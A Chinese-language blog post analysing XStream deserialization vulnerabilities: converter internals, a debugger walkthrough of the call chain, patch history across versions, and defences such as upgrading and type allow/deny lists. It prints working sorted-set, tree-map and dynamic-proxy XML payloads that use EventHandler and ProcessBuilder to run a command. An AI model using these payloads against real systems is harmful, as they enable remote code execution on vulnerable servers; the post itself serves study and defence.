XStream反序列化

前言

这里其实只分析了基础的,后面很多cve都已经不使用这种方式打了,我主要就是了解一下这个漏洞

基础

重要组件

在这里插入图片描述

MarshallingStrategy

编码策略

marshall : object->xml 编码
unmarshall : xml-> object 解码

两个重要类

TreeMarshaller: 树编组程序 调用Mapper和Converter把 java对象-> XML

它的start方法中在这里插入图片描述其中的convertAnother方法把java对象转化成XML

TreeUnmarshaller树解组程序 调用Mapper和Converter把 XML->java对象
里面的start方法开始解组,convertAnother方法把class转化成java对象。

public Object start(DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        Class type = HierarchicalStreams.readClassType(reader, mapper);
        Object result = convertAnother(null, type);
        Iterator validations = validationList.iterator();
        while (validations.hasNext()) {
            Runnable runnable = (Runnable)validations.next();
            runnable.run();
        }
        return result;
    }

Mapper

就是我们的映射器在这里插入图片描述
就是我们序列化和反序列化的时候,获取的数据是从封装好的map里面获取的
通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。

Converter

这个就是反序列化和序列化的核心处理过程
Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

其中需要实现的三个方法

canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;

Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。

Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。

最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。

如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。

DynamicProxyConverter

DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象

XStream反序列化漏洞的PoC都是以DynamicProxyConverter这个转换器为基础来编写的。

example

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler

而最重要的类就是EventHandler

XStream编组/解组具体过程

测试代码

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

public class Test {
    public static void main(String[] args) {
        // 创建XStream实例
        XStream xstream = new XStream(new DomDriver());

        // 定义一个简单的Java对象
        class Person {
            private String name;
            private int age;
            // 必须有一个无参构造函数
            public Person() {}
            public Person(String name, int age) {
                this.name = name;
                this.age = age;
            }

            public String getName() {
                return name;
            }

            public int getAge() {
                return age;
            }
            // 省略getter和setter方法
        }

        // 将Person类的实例序列化为XML
        Person person = new Person("John Doe", 30);
        String xml = xstream.toXML(person);
        System.out.println("Serialized XML:");
        System.out.println(xml);

//         现在,假设我们从某个地方得到了XML,并希望将其反序列化为Person对象
        String xmlData = "<person><name>John Doe</name><age>30</age></person>";

        // 需要先为XStream注册要反序列化的类
        xstream.alias("person", Person.class);

        // 反序列化XML为Person对象
        Person decodedPerson = (Person) xstream.fromXML(xmlData);
        System.out.println("Deserialized Person:");
        System.out.println("Name: " + decodedPerson.getName());
        System.out.println("Age: " + decodedPerson.getAge());
    }
}

fromXML解组

fynch3r师傅讲得很好。直接用了

第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第二步:进入start方法,开始解析

public Object start(DataHolder dataHolder) {
    this.dataHolder = dataHolder;
  	//通过Mapper获取对应节点的Class对象
    Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
  	//Converter根据Class的类型转化成java对象
    Object result = this.convertAnother((Object)null, type);
    Iterator validations = this.validationList.iterator();

    while(validations.hasNext()) {
        Runnable runnable = (Runnable)validations.next();
        runnable.run();
    }

    return result;
}

先看readClassType里面做了什么事情:

public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
    String classAttribute = readClassAttribute(reader, mapper);
    Class type;
    if (classAttribute == null) {
      	// 通过节点名获取Mapper中对应的Class对象
        type = mapper.realClass(reader.getNodeName());
    } else {
        type = mapper.realClass(classAttribute);
    }
		//返回值type就是obj对应的Class对象
    return type;
}

第三步 : convertAnother 方法

public Object convertAnother(Object parent, Class type, Converter converter) {
  	//根据mapper获取type类对象的正确类型
    type = this.mapper.defaultImplementationOf(type);
    if (converter == null) {
      	//根据type找到对应的converter
        converter = this.converterLookup.lookupConverterForType(type);
    } else if (!converter.canConvert(type)) {
        ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
        e.add("item-type", type.getName());
        e.add("converter-type", converter.getClass().getName());
        throw e;
    }

    return this.convert(parent, type, converter);
}

注意这里参数parent,converter默认都是null

如何查找对应的converter?

public Converter lookupConverterForType(Class type) {
  	//先从缓存集合中查找Converter
    Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
    if (cachedConverter != null) {
        return cachedConverter;
    } else {// 如果缓存中没有,那么就在converter中寻找
        Iterator iterator = this.converters.iterator();

        Converter converter;
      	// 遍历converters找到符合的Converter	
        do {
            if (!iterator.hasNext()) {
                throw new ConversionException("No converter specified for " + type);
            }

            converter = (Converter)iterator.next();
        } while(!converter.canConvert(type));
				// 把这次找到的放在缓存集合中
        this.typeToConverterMap.put(type, converter);
        return converter;
    }
}

现在来到return this.convert(parent, type, converter);这句

会到com.thoughtworks.xstream.core.TreeUnmarshaller#convert这里:

protected Object convert(Object parent, Class type, Converter converter) {
    try {
        this.types.push(type);
     		// 会进入这里
        Object result = converter.unmarshal(this.reader, this);
        this.types.popSilently();
        return result;
    } catch (ConversionException var6) {
        this.addInformationTo(var6, type, converter, parent);
        throw var6;
    } catch (RuntimeException var7) {
        ConversionException conversionException = new ConversionException(var7);
        this.addInformationTo(conversionException, type, converter, parent);
        throw conversionException;
    }
}

在这里插入图片描述

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
  	// 构造Class类对象的instance实例,field没有赋值,都是默认值
    Object result = this.instantiateNewInstance(reader, context);
  	// 对result的field赋值
    result = this.doUnmarshal(result, reader, context);
    return this.serializationMethodInvoker.callReadResolve(result);
}

toXML编组

不说了,为了整齐美观

总结

解析XML:首先,XStream使用内部的HierarchicalStreamReader(这可能是基于StAX,Xpp,JDOM等的实现)开始解析XML。

HierarchicalStreamReader会从XML的开头开始顺序读取所有的元素,并提供读取节点名称,节点值,属性等所有必要的方法。

查找对应的Converter:对于每一个读取到的节点,XStream会通过Mapper找到对应的Converter。Converter是用来将XML数据转换为Java对象的。XStream有许多内建的Converter,例如用于处理基本类型、集合、数组、枚举的Converter等,同时也允许用户自定义Converter。

调用Converter的unmarshal()方法:获取到对应的Converter后,XStream会调用它的unmarshal()方法,传入HierarchicalStreamReader,当前的context以及result。这个result是一个已经部分构建的对象,在一些特定情况下可以用来做更深层次的处理。

Converter生成对象:Converter会利用HierarchicalStreamReader提供的信息以及额外的上下文(context),生成Java对象。在这个过程中,Converter会读取节点的值,可能会再次查找并调用其他Converter处理节点内部的元素,也可能会根据属性生成特定的Java对象。

返回生成的对象:Converter生成的对象会返回到XStream中,XStream再返回到用户。

XStream漏洞

漏洞原理

原理就是我们的xml的反序列化是支持反序列化动态代理的,XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,这个标签中可以指定一个接口,反序列化就是为这个接口生成一个动态代理,当调用这个接口的方法的时候,就会调用动态代理对象hander的invoke方法,我们可以控制dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类,然后传入恶意的参数实现恶意的利用

sorted-set触发

环境和版本限制

<dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.5</version>
        </dependency>

影响版本
1.4.5,1.4.6,1.4.10

复现

import com.thoughtworks.xstream.XStream;

import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class sorted {
    public static void main(String[] args) throws FileNotFoundException {
        FileInputStream fileInputStream=new FileInputStream("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\ts\\src\\main\\java\\1.xml");
        XStream xstream=new XStream();
        xstream.fromXML(fileInputStream);
    }
}

1.xml

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
    <target class="java.lang.ProcessBuilder">
        <command>
            <string>calc.exe</string>
        </command>
    </target>
    <action>start</action>
</handler>
</dynamic-proxy>
        </sorted-set>

运行弹出计算器

调试分析

首先我们直接进入反序列化的流程从TreeUnmarshaller.start()开始分析
在这里插入图片描述

调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型,然后调用convertAnother()函数开始对我们的type进行一个类型的转换在这里插入图片描述
然后调用 mapper.defaultImplementationOf(type);就是把我们的类型转为默认的实现在这里插入图片描述
然后就是一直找,找到就返回,最后找到的是java.util.TreeSet作为实现类
调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器
通过调用Converter.canConvert()函数来判断该转换器是否能够转换出TreeSet类型,这里找到满足条件的TreeSetConverter转换器
在这里插入图片描述接着是调用typeToConverterMap.put(type, converter);将类型和转换器的对应关系放入Map表中,再返回转换器

然后一直convert方法,进入到AbstractReferenceUnmarshaller的convert方法

Object currentReferenceKey = getCurrentReferenceKey();
            parentStack.push(currentReferenceKey);

把我们获取到的标签压入栈中

convert:71, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)

最后到我们的父类TreeUnmarshaller 的convert方法,其中会调用

Object result = converter.unmarshal(reader, this);

也就是我们xml标签对于的实现类对应的转换器的unmarshal方法
这个方法最重要的就是

treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
        

填充TreeMap在这里插入图片描述断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数

Object key = readItem(reader, context, map);
                target.put(key, key);

内部调用readItem方法,读取我们的xml标签,然后给它找一个对应的转换器

Class type = HierarchicalStreams.readClassType(reader, mapper());
        return context.convertAnother(current, type);
    

在这里插入图片描述可以看到就是我们的外层xml标签

第外层元素的转换器获取好了之后调用reader.moveUp()返回到父节点

调用populateMap(reader, context, result, sortedMap);继续填充
在这里插入图片描述

内部会调用populateCollection方法去收集填充的对象在这里插入图片描述
通过moveDown去子节点,然后addCurrentElementToCollection方法

protected void addCurrentElementToCollection(HierarchicalStreamReader reader, UnmarshallingContext context,
        Collection collection, Collection target) {
        Object item = readItem(reader, context, collection);
        target.add(item);
    }

又重复去给我们的xml标签获取转换器然后又add进去,这个节点获取完成后reader.moveUp();回到父节点,就递归获取

下面到了重点部分
————————————————————
因为我们是有一个标签,当然也会去找它的转换器,就是我们的DynamicProxyConverter实现类 ,当然也会调用它的unmarshal方法

在这里插入图片描述
我们的实现类就是一个代理,它代理了compare接口,而实现类是我们的EventHandler

然后我们如果要触发漏洞,只需要调用这个代理类的方法触发我们的invoke就好了

我们继续看后面,当我们把所有标签都转换完成后

result.putAll(sortedMap);

会直接把结果putAll
我们跟进调用父类的putAll
对map的元素依次put放入
我们的map就是在这里插入图片描述当为我们的代理对象的时候

在这里插入图片描述
会调用代理对象的compareto方法,而我们说了我们是代理的conpare接口,内部就有compareto方法,所以会调用到EventHandler.invoke()

EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链

在这里插入图片描述三个参数都是可以控制的,所以可以调用任意对象的任意方法

再次把POC给出来,让我们有更好的理解

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
    <target class="java.lang.ProcessBuilder">
        <command>
            <string>calc.exe</string>
        </command>
    </target>
    <action>start</action>
</handler>
</dynamic-proxy>
        </sorted-set>

总结

首先是PoC中构造了一对sorted-set标签,里面最重要的就是标签,它内部可以包含一个接口和一个对应的代理handler,我们反序列化的过程会不断的去把我们的标签给convert,当对我们的开始convert的时候,会为我们的接口创建一个动态代理,然后最后会把我们构造好的putall,在其中会因为我们的key其中之一就是代理对象,会调用key的compare方法,那么就会触发到代理对象的代理方法,触发invoke,触发恶意代码

XStream.fromXML
XStream.unmarshal
AbstractTreeMarshallingStrategy.unmarshal
TreeUnmarshaller.start
HierarchicalStreams.readClassType
TreeUnmarshaller.convertAnother
DefaultConverterLookup.lookupConverterForType
...
TreeSetConverter.unmarshal
TreeSetConverter.populateTreeMap
DynamicProxyConverter.unmarshal
...
ReflectionConverter.canConvert
...
TreeMap.putAll
AbstractMap.putAll
TreeMap.put
$Proxy0.compareTo
EventHandler.invoke
EventHandler.invokeInternal
MethodUtil.invoke

各种版本

<=1.3.1

在这里插入图片描述
可以看到是我们readclass不能再找到我们根标签sorted-set的默认实现类,所以不能利用

1.4-1.4.4

我们运行也没有报错,然后调试发现不能再进入populateTreeMap()方法,也就不会触发

result.putAll(sortedMap);

就走不到我们的invoke
看看为什么我们不能走到populateTreeMap()
在这里插入图片描述
因为我们的treeMap == null根本不会走到else分支
而更里面的原因是因为
在这里插入图片描述
这里我试着去挖掘一下,那我们不是发射修改就好了吗,但是注意的是我们能够控制的只是xml的内容,这个不是一般的反序列化流程了,所以没办法

1.4.7-1.4.9
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: No converter specified for class java.beans.EventHandler
at com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType(DefaultConverterLookup.java:61)
	at com.thoughtworks.xstream.XStream$1.lookupConverterForType(XStream.java:498)
	

说我们的EventHandler是没有converter specified ,DefaultConverterLookup.lookupConverterForType抛出了错误
发现在把我们的实现类转为convert的时候把handler给过滤了
在这里插入图片描述

1.4.10

我们知道1.4.7-1.4.9版本中是因为在ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤导致不能成功利用。

但是我们在1.4.10中发现ReflectionConverter.canConvert()函数中把对EventHandler类的过滤又去掉了

public boolean canConvert(Class type) {
	return (this.type != null && this.type == type || this.type == null && type != null) && this.canAccess(type);
}

在利用的过程中虽然能够成功触发,但是控制台会输出提示未初始化XStream安全框架、会存在漏洞风险

1.4.11

Mi1k7ea师傅讲得很好

Security framework of XStream not initialized, XStream is probably vulnerable.
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected.

拒绝反序列化目标类

1.4.11以后的版本XStream新增了一个Converter类InternalBlackList,可以看到其实现的canConverter()方法中对EventHandler类、以”javax.crypto.”开头的类、以”$LazyIterator”结尾的类都进行了匹配,而其marshal()和unmarshal()方法都是直接抛出异常的,换句话说就是匹配成功的直接抛出异常即黑名单过滤

private class InternalBlackList implements Converter {
    private InternalBlackList() {
    }

    public boolean canConvert(Class type) {
    	return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
    }

    public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    	throw new ConversionException("Security alert. Marshalling rejected.");
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    	throw new ConversionException("Security alert. Unmarshalling rejected.");
    }
}

在XStream.setupConverters()函数中注册转换器时,InternalBlackList的优先级为PRIORITY_LOW高于ReflectionConverter的优先级PRIORITY_VERY_LOW,因此会优先判断在这里插入图片描述
因此,在后面的调试中会发现,当要寻找EventHandler类的转换器时,会返回InternalBlackList转换器在这里插入图片描述
当调用该InternalBlackList转换器的unmarshal()方法时,直接抛出异常:在这里插入图片描述

基于tree-map

<=1.4.6或=1.4.10

我们上面除了黑名单的限制我们是无法绕过的之外,还有一个限制就是treeMap为null的问题,其实这个问题还是主要在于我们使用的sorted-set的转换器,当我们使用
得到的转换器是TreeMapConverter,至于其整个调用过程以及原理和前面sorted-set的差不多,只是转换器不一样了

因为本次payload用的是TreeMapConverter转换器,和前面TreeSetConverter不一样,这里不存在类似sortedMapField是否为null的限制,因为两个转换器的代理逻辑完全不一样

请添加图片描述

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

基于接口的PoC

<=1.4.6或=1.4.10

但是缺点是,我们必须得知道服务端反序列化得到的是啥接口类。

修改Test.java,将Person类改为IPerson接口类,和ipayload.xml中的interface标签内容相对应

public class Test {
    public static void main(String[] args) throws FileNotFoundException {
//        String xml = new Scanner(new File("ipayload.xml")).useDelimiter("\\Z").next();
        FileInputStream xml = new FileInputStream("ipayload.xml");
        XStream xstream = new XStream(new DomDriver());
        IPerson p = (IPerson) xstream.fromXML(xml);
        p.output();
    }
}

<dynamic-proxy>
    <interface>IPerson</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc.exe</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

IPerson接口类必须定义成public即公有的,否则程序运行会报错显示没有权限访问该接口类。

防御

将XStream升级到最新版,即1.4.11之后的版本;

若只想手动修改代码,可以参考1.4.7-1.4.9版本的修补方法,在ReflectionConverter.canConvert()函数中添加了对包括EventHandler等类的过滤,当然这只是黑名单过滤方式,存在绕过风险

若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,可以调用addPermission()、allowTypes()、denyTypes()等对某些类进行限制,即建立黑白名单机制进行过滤

XStream.addPermission(TypePermission;
XStream.allowTypes(Class [];
XStream.allowTypes(String [];
XStream.allowTypesByRegExp(String [];
XStream.allowTypesByRegExp(Pattern [];
XStream.allowTypesByWildcard(String [];
XStream.allowTypeHierary(Class;
XStream.denyPermission(TypePermission;
XStream.denyTypes(Class [];
XStream.denyTypes(String [];
XStream.denyTypesByRegExp(String [];
XStream.denyTypesByRegExp(Pattern [];
XStream.denyTypesByWildcard(String [];
XStream.denyTypeHierary(Class;

若是1.4.10版本,提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,其本质还是调用XStream提供的安全框架里的addPermission()、allowTypes()、denyTypes()等函数,区别在于自己定义了一些默认白名单,但必须手工设置,否则还是存在漏洞:

试下效果,在前面的Demo我们添加这个默认白名单过滤:

public class Test {
    public static void main(String[] args) throws FileNotFoundException {
        FileInputStream xml = new FileInputStream("ipayload.xml");
        XStream xstream = new XStream(new DomDriver());
        // 使用默认白名单过滤
        XStream.setupDefaultSecurity(xstream);
        Person p = (Person) xstream.fromXML(xml);
        p.output();
    }
}

运行后会报错,显示禁止反序列化动态代理类

参考1
参考2
后面有部分使用参考2的原文,懒得写了

  • 26
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值